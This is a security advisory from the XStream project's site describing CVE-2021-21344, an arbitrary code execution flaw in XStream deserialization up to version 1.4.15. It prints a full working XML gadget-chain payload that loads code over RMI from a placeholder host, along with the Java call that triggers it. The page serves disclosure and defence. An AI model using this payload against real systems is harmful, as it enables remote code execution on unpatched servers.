Software
About XStream
News
Change History
Security Aspects
About Versioning

Evaluating XStream
Two Minute Tutorial
License
Download
References
Benchmarks
Code Statistics

Using XStream
Architecture Overview
Object references
Tweaking the Output
Converters
Frequently Asked Questions
Mailing Lists
Reporting Issues

Javadoc
XStream Core
Hibernate Extensions
JMH Module

Tutorials
Two Minute Tutorial
Alias Tutorial
Annotations Tutorial
Converter Tutorial
Object Streams Tutorial
Persistence API Tutorial
JSON Tutorial
StudyTrails

Developing XStream
How to Contribute
Development Team
Source Repository
Continuous Integration

CVE-2021-21344

Vulnerability

CVE-2021-21344: XStream is vulnerable to an Arbitrary Code Execution attack.

Affected Versions

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in execution of arbitrary code loaded from a remote server.

Steps to Reproduce

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

```
<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
                <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
                  <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
                    <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
                      <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
                      <uriProperties/>
                      <attributeProperties/>
                      <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
                        <getter>
                          <class>com.sun.rowset.JdbcRowSetImpl</class>
                          <name>getDatabaseMetaData</name>
                          <parameter-types/>
                        </getter>
                      </inheritedAttWildcard>
                    </bi>
                    <tagName/>
                    <context>
                      <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
                        <outer-class reference='../..'/>
                      </marshallerPool>
                      <nameList>
                        <nsUriCannotBeDefaulted>
                          <boolean>true</boolean>
                        </nsUriCannotBeDefaulted>
                        <namespaceURIs>
                          <string>1</string>
                        </namespaceURIs>
                        <localNames>
                          <string>UTF-8</string>
                        </localNames>
                      </nameList>
                    </context>
                  </bridge>
                </bridge>
                <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                  <javax.sql.rowset.BaseRowSet>
                    <default>
                      <concurrency>1008</concurrency>
                      <escapeProcessing>true</escapeProcessing>
                      <fetchDir>1000</fetchDir>
                      <fetchSize>0</fetchSize>
                      <isolation>2</isolation>
                      <maxFieldSize>0</maxFieldSize>
                      <maxRows>0</maxRows>
                      <queryTimeout>0</queryTimeout>
                      <readOnly>true</readOnly>
                      <rowSetType>1004</rowSetType>
                      <showDeleted>false</showDeleted>
                      <dataSource>rmi://localhost:15000/CallRemoteMethod</dataSource>
                      <params/>
                    </default>
                  </javax.sql.rowset.BaseRowSet>
                  <com.sun.rowset.JdbcRowSetImpl>
                    <default>
                      <iMatchColumns>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                        <int>-1</int>
                      </iMatchColumns>
                      <strMatchColumns>
                        <string>foo</string>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                        <null/>
                      </strMatchColumns>
                    </default>
                  </com.sun.rowset.JdbcRowSetImpl>
                </jaxbObject>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
```

```
XStream xstream = new XStream();
xstream.fromXML(xml);
```

As soon as the XML gets unmarshalled, the code from the remote server is loaded and executed.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

Impact

The vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream.

Workarounds

See workarounds for the different versions covering all CVEs.

Credits

钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.